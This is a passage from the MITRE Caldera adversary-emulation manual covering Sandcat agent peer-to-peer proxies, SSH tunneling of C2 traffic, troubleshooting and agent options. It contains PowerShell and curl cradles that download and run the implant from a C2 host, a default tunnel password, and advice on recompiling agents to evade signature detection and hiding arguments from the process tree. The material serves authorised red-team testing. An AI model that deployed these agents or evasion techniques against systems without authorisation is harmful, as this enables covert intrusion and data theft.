peer-to-peer capabilities, users can overcome these limitations. Peer-to-peer proxy-enabled agents can relay messages
and act as proxies between the C2 server and peers, giving users more flexibility in their Caldera operations.
This guide will explain how Sandcat incorporates peer-to-peer proxy functionality and how users can include it in their
operations.

16.1 How Sandcat Uses Peer-to-Peer

By default, a Sandcat agent will try to connect to its defined C2 server using the provided C2 protocol (e.g. HTTP).
Under ideal circumstances, the requested C2 server is valid and reachable by the agent, and no issues occur. Because
agents cannot guarantee that the requested C2 server is valid, that the requested C2 protocol is valid and supported by
the agent, nor that the C2 server is even reachable, the agent will fall back to peer-to-peer proxy methods as a backup
method. The order of events is as follows:
1. Agent checks if the provided C2 protocol is valid and supported. If not, the agent resorts to peer-to-peer proxy.
2. If the C2 protocol is valid and supported, the agent will try to reach out to the provided C2 server using that
protocol. If the agent gets a successful Beacon, then it continues using the established C2 protocol and server.
If the agent misses 3 Beacons in a row (even after having successfully Beaconed in the past), then the agent will
fall back to peer-to-peer proxy.
When falling back to peer-to-peer proxy methods, the agent does the following:
1. Search through all known peer proxy receivers and see if any of their protocols are supported.
2. If the agent finds a peer proxy protocol it can use, it will switch its C2 server and C2 protocol to one of the available
corresponding peer proxy locations and the associated peer proxy protocol. For example, if an agent cannot
successfully make HTTP requests to the C2 server at http://10.1.1.1:8080, but it knows that another agent
is proxying peer communications through an SMB pipe path available at \\WORKSTATION\pipe\proxypipe,
then the agent will check if it supports SMB Pipe peer-to-peer proxy capabilities. If so (i.e. if the associated
gocat extension was included in the Sandcat binary), then the agent will change its server to \\WORKSTATION\
pipe\proxypipe and its C2 protocol to SmbPipe.
The agent also keeps track of which peer proxy receivers it has tried so far, and it will round-robin through each one
it hasn’t tried until it finds one it can use. If the agent cannot use any of the available peer proxy receivers, or if they
happen to all be offline or unreachable, then the agent will pause and try each one again.

85
caldera

16.1.1 Determining Available Receivers

Since an agent that requires peer-to-peer communication can’t reach the C2 server, it needs a way to obtain the available
proxy peer receivers (their protocols and where to find them). Currently, Caldera achieves this by including available
peer receiver information in the dynamically-compiled binaries. When agents hosting peer proxy receivers check in
through a successful beacon to the C2, the agents will include their peer-to-peer proxy receiver addresses and corre-
sponding protocols, if any. The C2 server will store this information to later include in a dynamically compiled binary
upon user request.
Users can compile a Sandcat binary that includes known available peer-to-peer receivers (their protocols and locations),
by using the includeProxyPeers header when sending the HTTP requests to the Caldera server for agent binary
compilation. In order for a receiver to be included, the agent hosting the receiver must be trusted, and the peer-to-peer
protocol for the receiver must be included in the header value.
The header value can take one of the following formats:
• All : include all available receivers
• protocol1,protocol2,protocol3 : include only the proxy receivers that follow the requested protocols
(comma-separated).
• !protcol1,protocol2,protocol3 : include all available receivers, EXCEPT those that use the indicated
protocols.
By specifying protocols, users have greater control over their agents’ communication, especially when they do not want
particular protocols to appear in the local network traffic.
For example, suppose trusted agents A, B, C are each running HTTP proxy receivers at network addresses http://10.
1.1.11:8081, http://10.1.1.12:8082, http://10.1.1.13:8083, respectively. The peer-to-peer proxy protocol
is HTTP. When compiling a binary with the HTTP header includeProxyPeers:All or includeProxyPeers:HTTP,
the binary will contain all 3 URLs for the agent to use in case it cannot connect to the specified C2.

16.1.2 Required gocat Extensions

To leverage peer-to-peer functionality, one or more gocat extensions may need to be installed. This can be done
through cradles by including the gocat-extensions header when sending HTTP requests to the Caldera server for
dynamic Sandcat compilation. The header value will be a comma-separated list of all the desired extensions (e.g.
proxy_method1,proxy_method2). If the requested extension is supported and available within the user’s current
Caldera installation, then the extension will be included.

16.1.3 Command Line Options

Quickstart

To enable an agent to be used as a proxy:


1. Include this header in the download command -H "gocat-extensions:proxy_http"
2. Run that agent with the -listenP2P flag
To enable an agent to use the other proxy agents you’ve established:
1. Include this header in the download command -H "gocat-extensions:proxy_http"
Optional: This header can speed up the proxy finding process: -H "includeProxyPeers:HTTP". It tells the server
to include a list of known proxy peers in the executable.

86 Chapter 16. Peer-to-Peer Proxy Functionality for Sandcat Agents


caldera

Starting Receivers

To start an agent with peer-to-peer proxy receivers, the -listenP2P commandline switch must be used (no parameters
taken). When this switch is set, the agent will activate all supported peer-to-peer proxy receivers.
Example powershell commands to start an agent with HTTP and SMB Pipe receivers:

$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http,proxy_smb_pipe"); # Include gocat␣
˓→extensions for the proxy protocols.

$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);
C:\Users\Public\sandcat.exe -server http://192.168.137.122:8888 -v -listenP2P;

Manually Connecting to Peers via Command-Line

In cases where operators know ahead of time that a newly spawned agent cannot directly connect to the C2, they can
use the existing command-line options for Sandcat to have the new agent connect to a peer. To do so, the -c2 and
-server options are set to the peer-to-peer proxy protocol and address of the peer’s proxy receiver, respectively.
For example, suppose trusted agent A is running an SMB pipe proxy receiver at pipe path \\WORKSTATION1\
pipe\agentpipe. Instead of compiling a new agent using the HTTP header includeProxyPeers:All or
includeProxyPeers:SmbPipe to include the pipe path information in the binary, operators can simply specify -c2
SmbPipe and -server \\WORKSTATION1\pipe\agentpipe in the command to run the agent. Note that in this in-
stance, the appropriate SMB pipe proxy gocat extension will need to be installed when compiling the agent binaries.
Example powershell commands to start an agent and have it directly connect to a peer’s SMB pipe proxy receiver:

$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_smb_pipe"); # Required extension for SMB Pipe␣
˓→proxy.

$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);

# ...
# ... transfer SMB Pipe-enabled binary to new machine via lateral movement technique
# ...

# Run new agent


C:\Users\Public\sandcat.exe -server \\WORKSTATION1\pipe\agentpipe -c2 SmbPipe;

16.1. How Sandcat Uses Peer-to-Peer 87


caldera

16.1.4 Chaining Peer-to-Peer

In complex circumstances, operators can create proxy chains of agents, where communication with the C2 traverses
several hops through agent peer-to-peer links. The peer-to-peer proxy links do not need to all use the same proxy
protocol. If an agent is running a peer-to-peer proxy receiver via the -listenP2P command-line flag, and if the agent
uses peer-to-peer communications to reach the C2 (either automatically or manually), then the chaining will occur
automatically without additional user interaction.
Manual example - run peer proxy receivers, but manually connect to another agent’s pipe to communicate with the C2:

C:\Users\Public\sandcat.exe -server \\WORKSTATION1\pipe\agentpipe -listenP2P

16.2 Peer-To-Peer Interfaces

At the core of the Sandcat peer-to-peer functionality are the peer-to-peer clients and peer-to-peer receivers. Agents
can operate one or both, and can support multiple variants of each. For instance, an agent that cannot directly reach
the C2 server would run a peer-to-peer client that will reach out to a peer-to-peer receiver running on a peer agent.
Depending on the gocat extensions that each agent supports, an agent could run many different types of peer-to-peer
receivers simultaneously in order to maximize the likelihood of successful proxied peer-to-peer communication.
Direct communication between the Sandcat agent and the C2 server is defined by the Contact interface in the contact.go
file within the contact gocat package. Because all peer-to-peer communication eventually gets proxied to the C2
server, agents essentially treat their peer proxy receivers as just another server.
The peer-to-peer proxy receiver functionality is defined in the P2pReceiver interface in the proxy.go file within the
proxy gocat package. Each implementation requires the following:
• Method to initialize the receiver
• Method to run the receiver itself as a go routine (provide the forwarding proxy functionality)
• Methods to update the upstream server and communication implementation
• Method to cleanly terminate the receiver.
• Method to get the local receiver addresses.

16.3 Current Peer-to-Peer Implementations

16.3.1 HTTP proxy

The Sandcat agent currently supports one peer-to-peer proxy: a basic HTTP proxy. Agents that want to use the HTTP
peer-to-peer proxy can connect to the C2 server via an HTTP proxy running on another agent. Agent A can start an
HTTP proxy receiver (essentially a proxy listener) and forward any requests/responses. Because the nature of an HTTP
proxy receiver implies that the running agent will send HTTP requests upstream, an agent must be using the HTTP c2
protocol in order to successfully provide HTTP proxy receiver services.
The peer-to-peer HTTP client is the same HTTP implementation of the Contact interface, meaning that an agent simply
needs to use the HTTP c2 protocol in order to connect to an HTTP proxy receiver.
In order to run an HTTP proxy receiver, the Sandcat agent must have the proxy_http gocat extension installed.

88 Chapter 16. Peer-to-Peer Proxy Functionality for Sandcat Agents


caldera

Example commands:

Compiling and running a Sandcat agent that supports HTTP receivers:

$url="http://192.168.137.122:8888/file/download";
$wc=New-Object System.Net.WebClient;$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$wc.Headers.add("gocat-extensions","proxy_http");
$output="C:\Users\Public\sandcat.exe";$wc.DownloadFile($url,$output);
C:\Users\Public\sandcat.exe -server http://192.168.137.122:8888 -v -listenP2P

16.3. Current Peer-to-Peer Implementations 89


caldera

90 Chapter 16. Peer-to-Peer Proxy Functionality for Sandcat Agents


CHAPTER

SEVENTEEN

C2 COMMUNICATIONS TUNNELING

In addition to built-in contact methods such as HTTP, DNS, TCP, and UDP, Caldera also provides support for tunneling
C2 traffic, which supporting agents can use to mask built-in contact methods for added defense evasion. Currently, the
only available tunneling method is SSH tunneling, which is only supported by the sandcat agent.

17.1 SSH Tunneling

Sandcat agents can use SSH tunneling to tunnel C2 contact mechanisms, namely HTTP(S). Caldera also provides
built-in support to spin up a minimal local SSH server for SSH tunneling.

17.1.1 Usage - Serverside

Within the Caldera configuration file, adjust the following entries according to your environment:
• app.contact.tunnel.ssh.host_key_file: File name for the server’s SSH private host key. You can gener-
ate your own SSH private host key for the Caldera server. The file must reside in the conf/ssh_keys directory.
If the Caldera server cannot find or read the provided private host key, it will generate a temporary RSA host
key to use for operations. Although this would cause security warnings under normal circumstances, the sand-
cat agent implementation of SSH tunneling does not attempt to verify hosts, and thus should not be affected by
changing or temporary host keys.
• app.contact.tunnel.ssh.host_key_passphrase: Passphrase for the server’s SSH private host key. The
server will use this passphrase to read the private host key file provided in app.contact.tunnel.ssh.
host_key_file.
• app.contact.tunnel.ssh.socket: Indicates the IP address and port that the Caldera server will listen on for
SSH tunneling connections (e.g. 0.0.0.0:8022).
• app.contact.tunnel.ssh.user_name: User name that agents will use to authenticate to the Caldera server
via SSH. The default value is sandcat.
• app.contact.tunnel.ssh.user_password: Password that agents will use to authenticate to the Caldera
server via SSH. The default value is s4ndc4t!.
Once the configuration entries are set, simply start the Caldera server up as normal via the server.py Python program,
and Caldera will automatically attempt to start an SSH server that listens on the specified socket (app.contact.
tunnel.ssh.socket).
The contact will first attempt to read in the host private key file specified by app.contact.tunnel.ssh.
host_key_file, using the passphrase specified by app.contact.tunnel.ssh.host_key_passphrase. If it can-
not read the file for whatever reason (e.g. file does not exist, or the passphrase is incorrect), then the server will generate
its own temporary private key to use for the server.

91
caldera

The SSH server should only be used between agents and the C2 server and should not be used to SSH into the Caldera
server manually (e.g. to manage the server remotely).

17.1.2 Usage - Agent

The sandcat agent is currently the only agent that supports SSH tunneling. To use it, the server, tunnelProtocol,
tunnelAddr, tunnelUser, and tunnelPassword arguments must be used.
• server value is the Caldera server endpoint that the tunnel will connect to - if the agent is tunneling HTTP
communications through SSH, then server should be the HTTP socket for the Caldera C2 server (e.g. http:/
/10.10.10.15:8888).
• tunnelProtocol value is the name of the tunneling mechanism that the agent is using. For SSH, the value must
be SSH.
• tunnelAddr is the port number or IP:port combination that indicates which port or socket to connect to via SSH
to start the tunnel (e.g. 8022 or 10.10.10.15:8022). If only a port number is provided, the agent will try to
connect to the IP address from server using the specified port. The server listening on the port/socket should
be listening for SSH connections from agents.
• tunnelUser indicates which username to use to authenticate to tunnelAddr via SSH. This username should
match the Caldera configuration value for app.contact.tunnel.ssh.user_name.
• tunnelPassword indicates which password to use to authenticate to tunnelAddr via SSH. This password
should match the Caldera configuration value for app.contact.tunnel.ssh.user_password.
To tunnel different contacts through SSH tunneling, simply adjust the c2 and server values as needed.
When authenticating to the provided SSH server, the sandcat agent will use the username/password provided by the
tunnelUser and tunnelPassword arguments. Whatever credentials the agent uses must reflect the Caldera configura-
tion values specified in app.contact.tunnel.ssh.user_name and app.contact.tunnel.ssh.user_password.
The agent will then open a random local port to act as the local endpoint of the SSH tunnel. This local endpoint becomes
the upstream_dest value for the agent.
The following commandline will start a sandcat agent that will open up an SSH tunnel to the Caldera c2 server at
192.168.140.1:8022, and the tunneled communications will be sent to the c2 server’s HTTP endpoint at 192.168.
140.1:8888:
server="http://192.168.140.1:8888";
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > sandcat.
˓→go;

chmod +x sandcat.go;
./sandcat.go -server $server -v -tunnelProtocol SSH -tunnelAddr 8022 -tunnelUser sandcat␣
˓→-tunnelPassword s4ndc4t!

The above Linux agent will produce verbose output similar to the following:
SStarting sandcat in verbose mode.
[*] Starting SSH tunnel
Starting local tunnel endpoint at localhost:52649
Setting server tunnel endpoint at 192.168.140.1:8022
Setting remote endpoint at localhost:8888
[*] Listening on local SSH tunnel endpoint
[*] SSH tunnel ready and listening on http://localhost:52649.
[*] Attempting to set channel HTTP
Beacon API=/beacon
[*] Set communication channel to HTTP
(continues on next page)

92 Chapter 17. C2 Communications Tunneling


caldera

(continued from previous page)


initial delay=0
server=http://192.168.140.1:8888
upstream dest addr=http://localhost:52649
group=red
privilege=User
allow local p2p receivers=false
beacon channel=HTTP
Local tunnel endpoint=http://localhost:52649
[*] Accepted connection on local SSH tunnel endpoint
[*] Listening on local SSH tunnel endpoint
[*] Forwarding connection to server
[*] Opened remote connection through tunnel
[+] Beacon (HTTP): ALIVE

The agent connected to the C2 server via SSH at 192.168.140.1:8022 and opened a local SSH tunnel on local port
52649 that tunnels HTTP traffic to the C2 server at 192.168.140.1:8888. This is the equivalent of running ssh -L
52649:localhost:8888 [email protected] -p 8022 -N.
Note that the agent’s upstream destination endpoint is set to the local SSH tunnel endpoint at http://
localhost:54351 (the protocol is set to http since the agent is tunneling HTTP comms), while the true server
value is the final tunnel destination at http://192.168.140.1:8888.
If running the Caldera c2 server with logging verbosity set to DEBUG, you may see output similar to the following when
an agent connects via SSH tunneling:

2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Accepted SSH connection on 192.
˓→168.140.1, port 8022

2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Client address: 192.168.140.


˓→100, port 43796

2021-03-26 09:12:43 - DEBUG (contact_ssh.py:52 connection_made) SSH connection received␣


˓→from 192.168.140.100.

2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Requesting key exchange


2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Received key exchange request
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Beginning key exchange
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Completed key exchange
2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Beginning auth for user sandcat
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Trying password auth
2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Auth for user sandcat succeeded
2021-03-26 09:12:43 - DEBUG (contact_ssh.py:48 connection_requested) Connection request␣
˓→from 0.0.0.0:0d to localhost:8888

2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2, chan=0] Set write buffer␣
˓→limits: low-water=16384, high-water=65536

2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Accepted direct TCP connection␣
˓→request to localhost, port 8888

2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Client address: 0.0.0.0


2021-03-26 09:12:43 - INFO (logging.py:79 log) [conn=2] Forwarding TCP connection to␣
˓→localhost, port 8888

2021-03-26 09:12:43 - DEBUG (contact_svc.py:64 handle_heartbeat) First time HTTP beacon␣


˓→from kliuok

Once the tunnel is established, operators can proceed as normal with agent activity and operations.

17.1. SSH Tunneling 93


caldera

94 Chapter 17. C2 Communications Tunneling


CHAPTER

EIGHTEEN

UNINSTALL MITRE CALDERA

To uninstall Caldera, navigate to the directory where Caldera was installed and recursively remove the directory using
the following command:

rm -rf caldera/

Caldera may leave behind artifacts from deployment of agents and operations. Remove any remaining Caldera agents,
files, directories, or other artifacts left on your server and remote systems:

rm [ARTIFACT_NAME]

Generated reports and exfiled files are saved in /tmp on the server where Caldera is installed.
Some examples of Caldera artifacts left by agents (on server if agent ran locally, on clients if run remotely):
• sandcat.go: sandcat agent
• manx.go: manx agent
• nohup.out: ouput file from deployment of certain sandcat and manx agents

95
caldera

96 Chapter 18. Uninstall MITRE Caldera


CHAPTER

NINETEEN

TROUBLESHOOTING

19.1 Installing MITRE Caldera

If donut-shellcode installation fails, ensure that prerequisite packages are installed


• Amazon Linux 2:
– gcc
– python3-devel

19.2 Starting Caldera

1. Ensure that Caldera has been cloned recursively. Plugins are stored in submodules and must be cloned along
with the core code.
2. Check that Python 3.8+ is installed and being used.
3. Confirm that all pip requirements have been fulfilled.
4. Run the Caldera server with the --log DEBUG parameter to see if there is additional output.
5. Consider removing the conf/local.yml and letting Caldera recreate the file when the server runs again.

19.2.1 Module Not Found Error

If you get an error like ModuleNotFoundError: No module named 'plugins.manx.app' when starting
Caldera:
1. Check to see if the plugins/manx folder is empty
1. Ensure that Caldera has been cloned recursively. Plugins are stored in submodules and must be cloned
along with the core code.
2. Alternatively, from the plugins folder, you can run git clone https://github.com/mitre/manx.git
to grab only the manx repo.
2. Check your conf/local.yml to make sure manx is enabled

97
caldera

19.3 Stopping Caldera

Caldera has a backup, cleanup, and save procedure that runs when the key combination CTRL+C is pressed. This is
the recommended method to ensure proper shutdown of the server. If the Python process executing Caldera is halted
abruptly (for example SIGKILL) it can cause information from plugins to get lost or configuration settings to not reflect
on a server restart.

19.4 Agent Deployment

19.4.1 Downloading the agent

1. Check the server logs for the incoming connection. If there is no connection:
1. Check for any output from the agent download command which could give additional information.
2. Make sure the agent is attempting to connect to the correct address (not 0.0.0.0 and likely not 127.0.0.
1).
3. Check that the listen interface is the same interface the agent is attempting to connect to.
4. Check that the firewall is open, allowing network connections, between the remote computer running the
agent and the server itself.
2. Ensure Go is properly installed (required to dynamically-compile Sandcat):
1. Make sure the Go environment variables are properly set. Ensure the PATH variable includes the Go
binaries by adding this to the /etc/profile or similar file:

export PATH=$PATH:/usr/local/go/bin

2. If there are issues with a specific package, run something like the following:

go get -u github.com/google/go-github/github
go get -u golang.org/x/oauth2

19.4.2 Running the agent

1. Run the agent with the -v flag and without the -WindowStyle hidden parameter to view output.
2. Consider removing bootstrap abilities so the console isn’t cleared.

19.5 Operations

19.5.1 No operation output

1. Ensure that at least one agent is running before running the operation.
1. Check that the agent is running either on the server or in the agent-specific settings under last checked in
time.
2. Alternatively, clear out the running agent list using the red X’s. Wait for active agents to check in and
repopulate the table.

98 Chapter 19. Troubleshooting


caldera

2. Ensure that an adversary is selected before running the operation.


3. Check each ability on the adversary profile.
1. Abilities show an icon for which operating system they run on. Match this up with the operating systems
of the running agents.
2. Abilities have specific executors in the details. Match this up with the executors of the running agents
(found under the agent-specific settings).
3. Look at each ability command. If there is a fact variable inside - shown by #{} syntax - the ability will need
to be “unlocked” by another ability, in a prior step, before it can run.

19.6 Opening Files

1. Files are encrypted by default and can be decrypted with the following utility: https://github.com/mitre/caldera/
blob/master/app/utility/file_decryptor.py

19.6. Opening Files 99


caldera

100 Chapter 19. Troubleshooting


CHAPTER

TWENTY

RESOURCES

20.1 Summary Sheets

• Caldera Summary Sheet


• Use Cases Sheet
• Instructor Guide Sheet

20.2 Ability List

The following file contains a list of Caldera’s abilities in comma-separated value (CSV) format.
abilities.csv

20.3 Lateral Movement Video Tutorial

Download from here: lm_guide.mp4


The following section contains documentation from installed plugins.

101
caldera

102 Chapter 20. Resources


CHAPTER

TWENTYONE

SANDCAT PLUGIN DETAILS

The Sandcat plugin provides Caldera with its default agent implant, Sandcat. The agent is written in GoLang for
cross-platform compatibility and can currently be compiled to run on Windows, Linux, and MacOS targets.
While the Caldera C2 server requires GoLang to be installed in order to compile agent binaries, no installation is
required on target machines - the agent program will simply run as an executable.
The sandcat plugin does come with precompiled binaries, but these only contain the basic agent features and are more
likely to be flagged by AV as they are publicly available on GitHub.
If you wish to dynamically compile agents to produce new hashes or include additional agent features, the C2 server
must have GoLang installed.

21.1 Source Code

The source code for the sandcat agent is located in the gocat and gocat-extensions directories. gocat contains the
core agent code, which provides all of the basic features. gocat-extensions contains source code for extensions that
can be compiled into new agent binaries on demand. The extensions are kept separate to keep the agent lightweight
and to allow more flexibility when catering to various use cases.

21.2 Precompiled Binaries

Precompiled agent binaries are located in the payloads directory and are referenced with the following filename:
• sandcat.go-darwin compiled binary for Mac targets
• sandcat.go-darwin-arm64 compiled binary for Mac with ARM processor targets
• sandcat.go-linux compiled binary for Linux targets
• sandcat.go-windows compiled binary for Windows targets
These files get updated when dynamically compiling agents, so they will always contain the latest compiled version on
your system.

103
caldera

21.3 Deploy

To deploy Sandcat, use one of the built-in delivery commands from the main server GUI which allows you to run the
agent on Windows, Mac, or Linux.
Each of these commands downloads a compiled Sandcat executable from Caldera and runs it immediately.
Once the agent is running, it should show log messages when it beacons into Caldera.
If you have GoLang installed on the Caldera server, each time you run one of the delivery commands
above, the agent will re-compile itself dynamically to obtain a new file hash. This will help bypass file-
based signature detections.

21.3.1 Options

When running the Sandcat agent binary, there are optional parameters you can use when you start the executable:
• -H "architecture: [architecture]": For MacOS, both amd64 and arm64 are supported. When re-
trieving the executable from the server, the architecture header can be used to select the correct executable: -H
"architecture:amd64" or -H "architecture:arm64".
• -server [C2 endpoint]: This is the location (e.g. HTTP URL, IPv4:port string) that the agent will use to
reach the C2 server. (e.g. -server http://10.0.0.1:8888, -server 10.0.0.1:53, -server https://
example.com). The agent must have connectivity to this endpoint.
• -group [group name]: This is the group name that you would like the agent to join when it starts. The group
does not have to exist beforehand. A default group of red will be used if this option is not provided (e.g. -group
red, -group mygroup)
• -v: Toggle verbose output from sandcat. If this flag is not set, sandcat will run silently. This only applies to
output that would be displayed on the target machine, for instance if running sandcat from a terminal window.
This option does not affect the information that gets sent to the C2 server.
• -httpProxyGateway [gateway]: Sets the HTTP proxy gateway if running Sandcat in environments that use
proxies to reach the internet
• -paw [identifier]: Optionally assign the agent with an identifier value. By default, the agent will be assigned
a random identifier by the C2 server.
• -c2 [C2 method name]: Instruct the agent to connect to the C2 server using the given C2 communication
method. By default, the agent will use HTTP(S). The following C2 channels are currently supported:
– HTTP(S) (-c2 HTTP, or simply exclude the c2 option)
– DNS Tunneling (-c2 DnsTunneling): requires the agent to be compiled with the DNS tunneling exten-
sion.
– FTP (-c2 FTP): requires the agent to be compiled with the FTP extension
– Github GIST (-c2 GIST): requires the agent to be compiled with the Github Gist extension
– Slack (-c2 Slack): requires the agent to be compiled with the Slack extension
– SMB Pipes (-c2 SmbPipe): allows the agent to connect to another agent peer via SMB pipes to route
traffic through an agent proxy to the C2 server. Cannot be used to connect directly to the C2. Requires the
agent to be compiled with the proxy_smb_pipe SMB pipe extension.
• -delay [number of seconds]: pause the agent for the specified number of seconds before running

104 Chapter 21. Sandcat Plugin Details


caldera

• -listenP2P: Toggle peer-to-peer listening mode. When enabled, the agent will listen for and accept peer-to-peer
connections from other agents. This feature can be leveraged in environments where users want agents within
an internal network to proxy through another agent in order to connect to the C2 server.
• -originLinkID [link ID]: associated the agent with the operation instruction with the given link ID. This
allows the C2 server to map out lateral movement by determining which operation instructions spawned which
agents.
Additionally, the sandcat agent can tunnel its communications to the C2 using the following options (for more details,
see the C2 tunneling documentation

21.4 Extensions

In order to keep the agent code lightweight, the default Sandcat agent binary ships with limited basic functionality.
Users can dynamically compile additional features, referred to as “gocat extensions”. Each extension is temporarily
added to the existing core sandcat code to provide functionality such as peer-to-peer proxy implementations, additional
executors, and additional C2 communication protocols.
To request particular extensions, users must include the gocat-extensions HTTP header when asking the C2 to
compile an agent. The header value must be a comma-separated list of requested extensions. The server will include
the extensions in the binary if they exist and if their dependencies are met (i.e. if the extension requires a particular
GoLang module that is not installed on the server, then the extension will not be included).
Below is an example PowerShell snippet to request the C2 server to include the proxy_http and shells extensions:

$url="http://192.168.137.1:8888/file/download"; # change server IP/port as needed


$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows"); # specifying Windows build
$wc.Headers.add("file","sandcat.go"); # requesting sandcat binary
$wc.Headers.add("gocat-extensions","proxy_http,shells"); # requesting the extensions
$output="C:\Users\Public\sandcat.exe"; # specify destination filename
$wc.DownloadFile($url,$output); # download

The following features are included in the stock default agent:


• HTTP C2 contact protocol for HTTP(S)
• psh PowerShell executor (Windows)
• cmd cmd.exe executor (Windows)
• sh shell executor (Linux/Mac)
• proc executor to directly spawn processes from executables without needing to invoke a shell (Win-
dows/Linux/Mac)
• SSH tunneling to tunnel traffic to the C2 server.
Additional functionality can be found in the following agent extensions:
C2 Communication Extensions
• gist: provides the Github Gist C2 contact protocol. Requires the following GoLang modules:
– github.com/google/go-github/github
– golang.org/x/oauth2
• dns_tunneling: provides the DNS tunneling C2 communication protocol. Requires the following GoLang
modules:

21.4. Extensions 105


caldera

– github.com/miekg/dns
• ftp: provides the FTP C2 communication protocol. Requires the following GoLang modules:
– github.com/jlaffaye/ftp
• slack: provides the Slack C2 communication protocol.
• proxy_http: allows the agent to accept peer-to-peer messages via HTTP. Not required if the agent is simply
using HTTP to connect to a peer (acts the same as connecting direclty to the C2 server over HTTP).
• proxy_smb_pipe: provides the SmbPipe peer-to-peer proxy client and receiver for Windows (peer-to-peer com-
munication via SMB named pipes).
– Requires the gopkg.in/natefinch/npipe.v2 GoLang module
Executor Extensions
• shells: provides the osascript (Mac Osascript), pwsh (Windows powershell core), and Python (python2
and python3) executors.
• shellcode: provides the shellcode executors.
• native: provides basic native execution functionality, which leverages GoLang code to perform tasks rather
than calling external binaries or commands.
• native_aws: provides native execution functionality specific to AWS. Does not require the native extension,
but does require the following GoLang modules:
– github.com/aws/aws-sdk-go
– github.com/aws/aws-sdk-go/aws
• donut: provides the Donut functionality to execute certain .NET executables in memory. See
https://github.com/TheWover/donut for additional information.
Other Extensions
• shared extension provides the C sharing functionality for Sandcat. This can be used to compile Sandcat as a
DLL rather than a .exe for Windows targets.

21.5 Exit Codes

Exit codes returned from Sandcat vary across executors. Typical shell executors will return the exit code provided by
the shell. Certain executor extensions will return values hard-coded in Sandcat.
Sandcat includes general exit codes which may be utilized by executors, overriden by executors, or used in error cases.
The following values describe general Sandcat exit codes:
• -1: Error (e.g., cannot decode command, payload not available)
• 0: Success
The following values describe exit codes utilized by specific executors:
• shells: Returns the exit code provided by the OS/shell.
• shellcode: Utilizes the general Sandcat exit codes.
• native and native_aws:
– 0: Success
– 1: Process error (e.g., error while executing code)

106 Chapter 21. Sandcat Plugin Details


caldera

– 2: Input error (e.g., invalid parameters)


• donut: Returns the exit code provided by the OS/shell.

21.6 Customizing Default Options & Execution Without CLI Options

It is possible to customize the default values of these options when pulling Sandcat from the Caldera server.
This is useful if you want to hide the parameters from the process tree or if you cannot specify arguments when executing
the agent binary.
You can do this by passing the values in as headers when requesting the agent binary from the C2 server instead of as
parameters when executing the binary.
The following parameters can be specified this way:
• server
• group
• listenP2P
For example, the following will download a linux executable that will use http://10.0.0.2:8888 as the server
address instead of http://localhost:8888, will set the group name to mygroup instead of the default red, and will
enable the P2P listener:

curl -sk -X POST -H 'file:sandcat.go' -H 'platform:linux' -H 'server:http://10.0.0.2:8888


˓→' -H 'group:mygroup' -H 'listenP2P:true' http://localhost:8888/file/download > sandcat

Additionally, if you want the C2 server to compile the agent with a built-in list of known peers (agents that are actively
listening for peer-to-peer requests), you can do so with the following header:
• includeProxyPeers Example usage:
• includeProxyPeers:all - include all peers, regardless of what proxy methods they are listening on
• includeProxypeers:SmbPipe - only include peers listening for SMB pipe proxy traffic
• includeProxypeers:HTTP - only include peers listening for HTTP proxy traffic.

21.6. Customizing Default Options & Execution Without CLI Options 107
caldera

108 Chapter 21. Sandcat Plugin Details


CHAPTER

TWENTYTWO

SKELETON

Plugin documentation
Any Markdown or reStructuredText files in this directory will appear in the documentation generated by the fieldmanual
plugin. All resources in this directory will be copied over as well.

109
caldera

110 Chapter 22. Skeleton


CHAPTER

TWENTYTHREE

EXFILTRATION SCENARIOS AND SETUP

This document will discuss how to utilize various exfiltration abilities within Caldera, specifically focused on the
following abilities:
• Advanced File Search and Stager
• Find Git Repositories & Compress Git Repository (local host)
• Compress Staged Directory (Password Protected) – 7z and tar+gpg
• Compress Staged Directory (Password Protected) and Break Into Smaller Files
• Exfil Compressed Archive to FTP
• Exfil Compressed Archive to Dropbox
